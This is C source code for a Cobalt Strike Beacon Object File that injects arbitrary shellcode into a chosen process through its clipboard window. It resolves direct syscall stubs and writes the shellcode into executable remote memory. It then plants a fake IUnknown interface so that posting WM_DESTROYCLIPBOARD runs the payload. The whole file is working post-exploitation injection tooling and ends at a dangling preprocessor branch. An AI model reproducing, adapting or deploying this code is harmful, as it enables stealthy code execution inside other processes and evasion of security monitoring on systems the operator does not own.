复制 #define _WIN32_WINNT 0x0600
#include <windows.h>
#include <winternl.h>
#include <stddef.h>
#include "beacon.h"
#include "bofdefs.h"
#include "ntdefs.h"
#include "base.c"
#include "injection.c"
typedef struct _IUnknown_t {
// a pointer to virtual function table
ULONG_PTR lpVtbl;
// the virtual function table
ULONG_PTR QueryInterface;
ULONG_PTR AddRef;
ULONG_PTR Release; // executed for WM_DESTROYCLIPBOARD
} IUnknown_t;
DWORD clipboard(PROCESS_INFORMATION* lpProcessInfo, LPBYTE lpShellcodeBuffer, DWORD dwShellcodeBufferSize)
{
DWORD dwErrorCode = ERROR_SUCCESS;
HWND hWnd = NULL;
DWORD dwProcessId = 0;
PHMOD hNTDLL = NULL;
NtAllocateVirtualMemory_t NtAllocateVirtualMemory = NULL;
NtReadVirtualMemory_t NtReadVirtualMemory = NULL;
NtWriteVirtualMemory_t NtWriteVirtualMemory = NULL;
NtFreeVirtualMemory_t NtFreeVirtualMemory = NULL;
SIZE_T RegionSize = 0;
LPVOID lpRemoteShellcodeBuffer = NULL;
LPVOID lpRemoteIUnknownBuffer = NULL;
IUnknown_t iUnknown;
/*
internal_printf("hThread: %p\n", lpProcessInfo->hThread);
internal_printf("hProcess: %p\n", lpProcessInfo->hProcess);
internal_printf("dwProcessId: %u\n", lpProcessInfo->dwProcessId);
internal_printf("dwThreadId: %u\n", lpProcessInfo->dwThreadId);
internal_printf("lpShellcodeBuffer: %p\n", lpShellcodeBuffer);
internal_printf("dwShellcodeBufferSize: %lu\n", dwShellcodeBufferSize);
*/
// Get the handle to the target process's window
do
{
hWnd = USER32$FindWindowExA(HWND_MESSAGE, hWnd, "CLIPBRDWNDCLASS", NULL);
if ( NULL == hWnd ) { break; }
USER32$GetWindowThreadProcessId(hWnd, &dwProcessId);
internal_printf("CLIPBRDWNDCLASS found in PID:%lu\n", dwProcessId);
}
while (dwProcessId != lpProcessInfo->dwProcessId);
if (NULL == hWnd)
{
dwErrorCode = ERROR_INVALID_WINDOW_HANDLE;
internal_printf("Failed to find a CLIPBRDWNDCLASS window handle for PID:%lu\n", lpProcessInfo->dwProcessId);
goto end;
}
// Custom LoadLibrary on NTDLL
hNTDLL = _LoadLibrary(NTDLL_PATH);
if(NULL == hNTDLL) { goto end; }
// Get the syscall addresses
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetSyscallStub(hNTDLL, "NtAllocateVirtualMemory");
NtReadVirtualMemory = (NtReadVirtualMemory_t)GetSyscallStub(hNTDLL, "NtReadVirtualMemory");
NtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetSyscallStub(hNTDLL, "NtWriteVirtualMemory");
NtFreeVirtualMemory = (NtFreeVirtualMemory_t)GetSyscallStub(hNTDLL, "NtFreeVirtualMemory");
if ((NULL == NtAllocateVirtualMemory) ||
(NULL == NtReadVirtualMemory) ||
(NULL == NtWriteVirtualMemory) ||
(NULL == NtFreeVirtualMemory)
)
{
dwErrorCode = ERROR_PROC_NOT_FOUND;
internal_printf("GetSyscallStub failed (%lu)\n", dwErrorCode);
goto end;
}
// Allocate remote shellcode buffer
RegionSize = dwShellcodeBufferSize + 1;
dwErrorCode = NtAllocateVirtualMemory(
lpProcessInfo->hProcess,
&lpRemoteShellcodeBuffer,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Write the shellcode to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteShellcodeBuffer,
lpShellcodeBuffer,
dwShellcodeBufferSize,
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Allocate the new IUnknown interface
RegionSize = sizeof(iUnknown) + 1;
dwErrorCode = NtAllocateVirtualMemory(
lpProcessInfo->hProcess,
&lpRemoteIUnknownBuffer,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Create new IUnknown struct
intZeroMemory(&iUnknown, sizeof(iUnknown));
iUnknown.lpVtbl = (ULONG_PTR)lpRemoteIUnknownBuffer + sizeof(ULONG_PTR);
iUnknown.Release = (ULONG_PTR)lpRemoteShellcodeBuffer;
// Write the new IUnknown to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteIUnknownBuffer,
&iUnknown,
sizeof(iUnknown),
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Set the interface property
if ( FALSE == USER32$SetPropA(hWnd, "ClipboardDataObjectInterface", lpRemoteIUnknownBuffer) )
{
dwErrorCode = KERNEL32$GetLastError();
internal_printf("SetPropA failed (%lu)\n", dwErrorCode);
goto end;
}
// Trigger execution
USER32$PostMessageA(hWnd, WM_DESTROYCLIPBOARD, 0, 0);
KERNEL32$Sleep(10);
end:
// Free remote kernel callback table
if (lpRemoteIUnknownBuffer)
{
NtFreeVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteIUnknownBuffer,
0,
MEM_RELEASE | MEM_DECOMMIT
);
lpRemoteIUnknownBuffer = NULL;
}
// Free remote shellcode?
/*
if (lpRemoteShellcodeBuffer)
{
NtFreeVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteShellcodeBuffer,
0,
MEM_RELEASE | MEM_DECOMMIT
);
lpRemoteShellcodeBuffer = NULL;
}
*/
return dwErrorCode;
}
#ifdef BOF
VOID go(
IN PCHAR Buffer,
IN ULONG Length
)
{
DWORD dwErrorCode = ERROR_SUCCESS;
datap parser;
DWORD dwPid = 0;
LPBYTE lpShellcodeBuffer = NULL;
DWORD dwShellcodeBufferSize = 0;
PROCESS_INFORMATION processInfo;
MSVCRT$memset(&processInfo, 0, sizeof(PROCESS_INFORMATION));
// Get the arguments <PID> <SHELLCODE>
BeaconDataParse(&parser, Buffer, Length);
dwPid = BeaconDataInt(&parser);
lpShellcodeBuffer = (LPBYTE) BeaconDataExtract(&parser, (int*)(&dwShellcodeBufferSize));
if(!bofstart())
{
return;
}
// Get a handle to the injection process
internal_printf("GetInjectionHandle( %lu )\n", dwPid);
dwErrorCode = GetInjectionHandle( dwPid, &processInfo );
if (ERROR_SUCCESS != dwErrorCode)
{
BeaconPrintf(CALLBACK_ERROR, "GetInjectionHandle failed: %lX\n", dwErrorCode);
goto end;
}
// Execute our shellcode into the injection process
#ifndef __clang_analyzer__
internal_printf("clipboard( %02x %02x %02x %02x ..., %lu )\n",
lpShellcodeBuffer[0], lpShellcodeBuffer[1], lpShellcodeBuffer[2], lpShellcodeBuffer[3],
dwShellcodeBufferSize
);
#endif
dwErrorCode = clipboard(
&processInfo,
lpShellcodeBuffer,
dwShellcodeBufferSize
);
if (ERROR_SUCCESS != dwErrorCode)
{
BeaconPrintf(CALLBACK_ERROR, "clipboard failed: %lX\n", dwErrorCode);
goto end;
}
internal_printf("SUCCESS.\n");
end:
// Clean up the injection process
CloseInjectionHandle(&processInfo);
printoutput(TRUE);
};
#else